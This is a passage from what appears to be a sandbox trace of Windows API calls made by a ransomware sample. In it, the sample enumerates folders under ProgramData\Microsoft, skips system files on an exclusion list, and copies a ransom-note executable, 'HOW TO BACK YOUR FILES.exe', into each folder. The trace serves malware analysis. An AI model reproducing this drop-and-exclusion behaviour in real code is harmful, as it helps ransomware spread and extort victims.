lpString2="ntuser.dat") returned -1 [0048.451] lstrcmpiW (lpString1="eHome", lpString2="perflogs") returned -1 [0048.451] lstrcmpiW (lpString1="eHome", lpString2="MSBuild") returned -1 [0048.451] lstrlenW (lpString="eHome") returned 5 [0048.451] lstrcpyW (in: lpString1=0x241e87a, lpString2="eHome" | out: lpString1="eHome") returned="eHome" [0048.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530bc0 [0048.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3e) returned 0x50f5b0 [0048.452] lstrcatW (in: lpString1="eHome", lpString2="\\" | out: lpString1="eHome\\") returned="eHome\\" [0048.452] lstrcatW (in: lpString1="eHome\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="eHome\\HOW TO BACK YOUR FILES.exe") returned="eHome\\HOW TO BACK YOUR FILES.exe" [0048.452] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\eHome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\ehome\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.454] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0048.454] lstrcmpiW (lpString1="Event Viewer", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.454] lstrcmpiW (lpString1="Event Viewer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.454] lstrcmpiW (lpString1="Event Viewer", lpString2=".") returned 1 [0048.454] lstrcmpiW (lpString1="Event Viewer", lpString2="..") returned 1 [0048.454] lstrcmpiW (lpString1="Event Viewer", lpString2="windows") returned -1 [0048.454] lstrcmpiW (lpString1="Event Viewer", lpString2="bootmgr") returned 1 [0048.454] lstrcmpiW (lpString1="Event Viewer", lpString2="temp") returned -1 [0048.454] lstrcmpiW (lpString1="Event Viewer", lpString2="pagefile.sys") returned -1 [0048.454] lstrcmpiW (lpString1="Event Viewer", lpString2="boot") returned 1 [0048.454] lstrcmpiW (lpString1="Event Viewer", lpString2="ids.txt") returned -1 [0048.454] lstrcmpiW (lpString1="Event Viewer", lpString2="ntuser.dat") returned -1 [0048.454] lstrcmpiW (lpString1="Event Viewer", lpString2="perflogs") returned -1 [0048.454] lstrcmpiW (lpString1="Event Viewer", lpString2="MSBuild") returned -1 [0048.454] lstrlenW (lpString="Event Viewer") returned 12 [0048.454] lstrcpyW (in: lpString1=0x241e87a, lpString2="Event Viewer" | out: lpString1="Event Viewer") returned="Event Viewer" [0048.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530bd8 [0048.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4c) returned 0x5163c8 [0048.454] lstrcatW (in: lpString1="Event Viewer", lpString2="\\" | out: lpString1="Event Viewer\\") returned="Event Viewer\\" [0048.454] lstrcatW (in: lpString1="Event Viewer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Event Viewer\\HOW TO BACK YOUR FILES.exe") returned="Event Viewer\\HOW TO BACK YOUR FILES.exe" [0048.454] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\event viewer\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.457] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc608f00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.457] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.457] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0048.457] lstrcmpiW (lpString1="IdentityCRL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.457] lstrcmpiW (lpString1="IdentityCRL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.457] lstrcmpiW (lpString1="IdentityCRL", lpString2=".") returned 1 [0048.457] lstrcmpiW (lpString1="IdentityCRL", lpString2="..") returned 1 [0048.457] lstrcmpiW (lpString1="IdentityCRL", lpString2="windows") returned -1 [0048.457] lstrcmpiW (lpString1="IdentityCRL", lpString2="bootmgr") returned 1 [0048.457] lstrcmpiW (lpString1="IdentityCRL", lpString2="temp") returned -1 [0048.457] lstrcmpiW (lpString1="IdentityCRL", lpString2="pagefile.sys") returned -1 [0048.457] lstrcmpiW (lpString1="IdentityCRL", lpString2="boot") returned 1 [0048.458] lstrcmpiW (lpString1="IdentityCRL", lpString2="ids.txt") returned -1 [0048.458] lstrcmpiW (lpString1="IdentityCRL", lpString2="ntuser.dat") returned -1 [0048.458] lstrcmpiW (lpString1="IdentityCRL", lpString2="perflogs") returned -1 [0048.458] lstrcmpiW (lpString1="IdentityCRL", lpString2="MSBuild") returned -1 [0048.458] lstrlenW (lpString="IdentityCRL") returned 11 [0048.458] lstrcpyW (in: lpString1=0x241e87a, lpString2="IdentityCRL" | out: lpString1="IdentityCRL") returned="IdentityCRL" [0048.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530bf0 [0048.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4a) returned 0x516420 [0048.458] lstrcatW (in: lpString1="IdentityCRL", lpString2="\\" | out: lpString1="IdentityCRL\\") returned="IdentityCRL\\" [0048.458] lstrcatW (in: lpString1="IdentityCRL\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IdentityCRL\\HOW TO BACK YOUR FILES.exe") returned="IdentityCRL\\HOW TO BACK YOUR FILES.exe" [0048.458] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\identitycrl\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.461] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0048.461] lstrcmpiW (lpString1="Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.461] lstrcmpiW (lpString1="Media Player", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.461] lstrcmpiW (lpString1="Media Player", lpString2=".") returned 1 [0048.461] lstrcmpiW (lpString1="Media Player", lpString2="..") returned 1 [0048.461] lstrcmpiW (lpString1="Media Player", lpString2="windows") returned -1 [0048.461] lstrcmpiW (lpString1="Media Player", lpString2="bootmgr") returned 1 [0048.461] lstrcmpiW (lpString1="Media Player", lpString2="temp") returned -1 [0048.461] lstrcmpiW (lpString1="Media Player", lpString2="pagefile.sys") returned -1 [0048.461] lstrcmpiW (lpString1="Media Player", lpString2="boot") returned 1 [0048.461] lstrcmpiW (lpString1="Media Player", lpString2="ids.txt") returned 1 [0048.461] lstrcmpiW (lpString1="Media Player", lpString2="ntuser.dat") returned -1 [0048.461] lstrcmpiW (lpString1="Media Player", lpString2="perflogs") returned -1 [0048.461] lstrcmpiW (lpString1="Media Player", lpString2="MSBuild") returned -1 [0048.462] lstrlenW (lpString="Media Player") returned 12 [0048.462] lstrcpyW (in: lpString1=0x241e87a, lpString2="Media Player" | out: lpString1="Media Player") returned="Media Player" [0048.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c08 [0048.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4c) returned 0x516478 [0048.462] lstrcatW (in: lpString1="Media Player", lpString2="\\" | out: lpString1="Media Player\\") returned="Media Player\\" [0048.462] lstrcatW (in: lpString1="Media Player\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Media Player\\HOW TO BACK YOUR FILES.exe") returned="Media Player\\HOW TO BACK YOUR FILES.exe" [0048.462] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.464] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0048.464] lstrcmpiW (lpString1="MF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.464] lstrcmpiW (lpString1="MF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.464] lstrcmpiW (lpString1="MF", lpString2=".") returned 1 [0048.464] lstrcmpiW (lpString1="MF", lpString2="..") returned 1 [0048.464] lstrcmpiW (lpString1="MF", lpString2="windows") returned -1 [0048.464] lstrcmpiW (lpString1="MF", lpString2="bootmgr") returned 1 [0048.464] lstrcmpiW (lpString1="MF", lpString2="temp") returned -1 [0048.464] lstrcmpiW (lpString1="MF", lpString2="pagefile.sys") returned -1 [0048.464] lstrcmpiW (lpString1="MF", lpString2="boot") returned 1 [0048.464] lstrcmpiW (lpString1="MF", lpString2="ids.txt") returned 1 [0048.464] lstrcmpiW (lpString1="MF", lpString2="ntuser.dat") returned -1 [0048.464] lstrcmpiW (lpString1="MF", lpString2="perflogs") returned -1 [0048.464] lstrcmpiW (lpString1="MF", lpString2="MSBuild") returned -1 [0048.464] lstrlenW (lpString="MF") returned 2 [0048.464] lstrcpyW (in: lpString1=0x241e87a, lpString2="MF" | out: lpString1="MF") returned="MF" [0048.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c20 [0048.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x38) returned 0x529590 [0048.464] lstrcatW (in: lpString1="MF", lpString2="\\" | out: lpString1="MF\\") returned="MF\\" [0048.464] lstrcatW (in: lpString1="MF\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MF\\HOW TO BACK YOUR FILES.exe") returned="MF\\HOW TO BACK YOUR FILES.exe" [0048.464] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\MF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\mf\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.466] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1 [0048.466] lstrcmpiW (lpString1="MSDN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.466] lstrcmpiW (lpString1="MSDN", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.467] lstrcmpiW (lpString1="MSDN", lpString2=".") returned 1 [0048.467] lstrcmpiW (lpString1="MSDN", lpString2="..") returned 1 [0048.467] lstrcmpiW (lpString1="MSDN", lpString2="windows") returned -1 [0048.467] lstrcmpiW (lpString1="MSDN", lpString2="bootmgr") returned 1 [0048.467] lstrcmpiW (lpString1="MSDN", lpString2="temp") returned -1 [0048.467] lstrcmpiW (lpString1="MSDN", lpString2="pagefile.sys") returned -1 [0048.467] lstrcmpiW (lpString1="MSDN", lpString2="boot") returned 1 [0048.467] lstrcmpiW (lpString1="MSDN", lpString2="ids.txt") returned 1 [0048.467] lstrcmpiW (lpString1="MSDN", lpString2="ntuser.dat") returned -1 [0048.467] lstrcmpiW (lpString1="MSDN", lpString2="perflogs") returned -1 [0048.467] lstrcmpiW (lpString1="MSDN", lpString2="MSBuild") returned 1 [0048.467] lstrlenW (lpString="MSDN") returned 4 [0048.467] lstrcpyW (in: lpString1=0x241e87a, lpString2="MSDN" | out: lpString1="MSDN") returned="MSDN" [0048.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c38 [0048.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50f520 [0048.467] lstrcatW (in: lpString1="MSDN", lpString2="\\" | out: lpString1="MSDN\\") returned="MSDN\\" [0048.467] lstrcatW (in: lpString1="MSDN\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSDN\\HOW TO BACK YOUR FILES.exe") returned="MSDN\\HOW TO BACK YOUR FILES.exe" [0048.467] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\MSDN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\msdn\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.469] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0048.469] lstrcmpiW (lpString1="NetFramework", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.469] lstrcmpiW (lpString1="NetFramework", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.469] lstrcmpiW (lpString1="NetFramework", lpString2=".") returned 1 [0048.469] lstrcmpiW (lpString1="NetFramework", lpString2="..") returned 1 [0048.469] lstrcmpiW (lpString1="NetFramework", lpString2="windows") returned -1 [0048.469] lstrcmpiW (lpString1="NetFramework", lpString2="bootmgr") returned 1 [0048.469] lstrcmpiW (lpString1="NetFramework", lpString2="temp") returned -1 [0048.469] lstrcmpiW (lpString1="NetFramework", lpString2="pagefile.sys") returned -1 [0048.469] lstrcmpiW (lpString1="NetFramework", lpString2="boot") returned 1 [0048.469] lstrcmpiW (lpString1="NetFramework", lpString2="ids.txt") returned 1 [0048.469] lstrcmpiW (lpString1="NetFramework", lpString2="ntuser.dat") returned -1 [0048.469] lstrcmpiW (lpString1="NetFramework", lpString2="perflogs") returned -1 [0048.469] lstrcmpiW (lpString1="NetFramework", lpString2="MSBuild") returned 1 [0048.470] lstrlenW (lpString="NetFramework") returned 12 [0048.470] lstrcpyW (in: lpString1=0x241e87a, lpString2="NetFramework" | out: lpString1="NetFramework") returned="NetFramework" [0048.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c50 [0048.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4c) returned 0x5164d0 [0048.470] lstrcatW (in: lpString1="NetFramework", lpString2="\\" | out: lpString1="NetFramework\\") returned="NetFramework\\" [0048.470] lstrcatW (in: lpString1="NetFramework\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="NetFramework\\HOW TO BACK YOUR FILES.exe") returned="NetFramework\\HOW TO BACK YOUR FILES.exe" [0048.470] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\NetFramework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\netframework\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.476] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0048.476] lstrcmpiW (lpString1="Network", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.476] lstrcmpiW (lpString1="Network", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.476] lstrcmpiW (lpString1="Network", lpString2=".") returned 1 [0048.476] lstrcmpiW (lpString1="Network", lpString2="..") returned 1 [0048.476] lstrcmpiW (lpString1="Network", lpString2="windows") returned -1 [0048.476] lstrcmpiW (lpString1="Network", lpString2="bootmgr") returned 1 [0048.476] lstrcmpiW (lpString1="Network", lpString2="temp") returned -1 [0048.476] lstrcmpiW (lpString1="Network", lpString2="pagefile.sys") returned -1 [0048.476] lstrcmpiW (lpString1="Network", lpString2="boot") returned 1 [0048.476] lstrcmpiW (lpString1="Network", lpString2="ids.txt") returned 1 [0048.476] lstrcmpiW (lpString1="Network", lpString2="ntuser.dat") returned -1 [0048.476] lstrcmpiW (lpString1="Network", lpString2="perflogs") returned -1 [0048.476] lstrcmpiW (lpString1="Network", lpString2="MSBuild") returned 1 [0048.476] lstrlenW (lpString="Network") returned 7 [0048.476] lstrcpyW (in: lpString1=0x241e87a, lpString2="Network" | out: lpString1="Network") returned="Network" [0048.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c68 [0048.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x42) returned 0x5171b8 [0048.476] lstrcatW (in: lpString1="Network", lpString2="\\" | out: lpString1="Network\\") returned="Network\\" [0048.476] lstrcatW (in: lpString1="Network\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Network\\HOW TO BACK YOUR FILES.exe") returned="Network\\HOW TO BACK YOUR FILES.exe" [0048.476] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\network\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.478] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0048.478] lstrcmpiW (lpString1="OFFICE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.478] lstrcmpiW (lpString1="OFFICE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.478] lstrcmpiW (lpString1="OFFICE", lpString2=".") returned 1 [0048.478] lstrcmpiW (lpString1="OFFICE", lpString2="..") returned 1 [0048.479] lstrcmpiW (lpString1="OFFICE", lpString2="windows") returned -1 [0048.479] lstrcmpiW (lpString1="OFFICE", lpString2="bootmgr") returned 1 [0048.479] lstrcmpiW (lpString1="OFFICE", lpString2="temp") returned -1 [0048.479] lstrcmpiW (lpString1="OFFICE", lpString2="pagefile.sys") returned -1 [0048.479] lstrcmpiW (lpString1="OFFICE", lpString2="boot") returned 1 [0048.479] lstrcmpiW (lpString1="OFFICE", lpString2="ids.txt") returned 1 [0048.479] lstrcmpiW (lpString1="OFFICE", lpString2="ntuser.dat") returned 1 [0048.479] lstrcmpiW (lpString1="OFFICE", lpString2="perflogs") returned -1 [0048.479] lstrcmpiW (lpString1="OFFICE", lpString2="MSBuild") returned 1 [0048.479] lstrlenW (lpString="OFFICE") returned 6 [0048.479] lstrcpyW (in: lpString1=0x241e87a, lpString2="OFFICE" | out: lpString1="OFFICE") returned="OFFICE" [0048.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c80 [0048.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x50f880 [0048.479] lstrcatW (in: lpString1="OFFICE", lpString2="\\" | out: lpString1="OFFICE\\") returned="OFFICE\\" [0048.479] lstrcatW (in: lpString1="OFFICE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OFFICE\\HOW TO BACK YOUR FILES.exe") returned="OFFICE\\HOW TO BACK YOUR FILES.exe" [0048.479] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.491] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0048.491] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.491] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.491] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0048.491] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0048.491] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="windows") returned -1 [0048.491] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="bootmgr") returned 1 [0048.491] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="temp") returned -1 [0048.491] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="pagefile.sys") returned -1 [0048.491] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="boot") returned 1 [0048.491] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="ids.txt") returned 1 [0048.491] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="ntuser.dat") returned 1 [0048.491] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="perflogs") returned -1 [0048.491] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="MSBuild") returned 1 [0048.491] lstrlenW (lpString="OfficeSoftwareProtectionPlatform") returned 32 [0048.491] lstrcpyW (in: lpString1=0x241e87a, lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="OfficeSoftwareProtectionPlatform") returned="OfficeSoftwareProtectionPlatform" [0048.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c98 [0048.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x501f28 [0048.491] lstrcatW (in: lpString1="OfficeSoftwareProtectionPlatform", lpString2="\\" | out: lpString1="OfficeSoftwareProtectionPlatform\\") returned="OfficeSoftwareProtectionPlatform\\" [0048.491] lstrcatW (in: lpString1="OfficeSoftwareProtectionPlatform\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe") returned="OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" [0048.491] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.493] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0048.494] lstrcmpiW (lpString1="RAC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.494] lstrcmpiW (lpString1="RAC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.494] lstrcmpiW (lpString1="RAC", lpString2=".") returned 1 [0048.494] lstrcmpiW (lpString1="RAC", lpString2="..") returned 1 [0048.494] lstrcmpiW (lpString1="RAC", lpString2="windows") returned -1 [0048.494] lstrcmpiW (lpString1="RAC", lpString2="bootmgr") returned 1 [0048.494] lstrcmpiW (lpString1="RAC", lpString2="temp") returned -1 [0048.494] lstrcmpiW (lpString1="RAC", lpString2="pagefile.sys") returned 1 [0048.494] lstrcmpiW (lpString1="RAC", lpString2="boot") returned 1 [0048.494] lstrcmpiW (lpString1="RAC", lpString2="ids.txt") returned 1 [0048.494] lstrcmpiW (lpString1="RAC", lpString2="ntuser.dat") returned 1 [0048.494] lstrcmpiW (lpString1="RAC", lpString2="perflogs") returned 1 [0048.494] lstrcmpiW (lpString1="RAC", 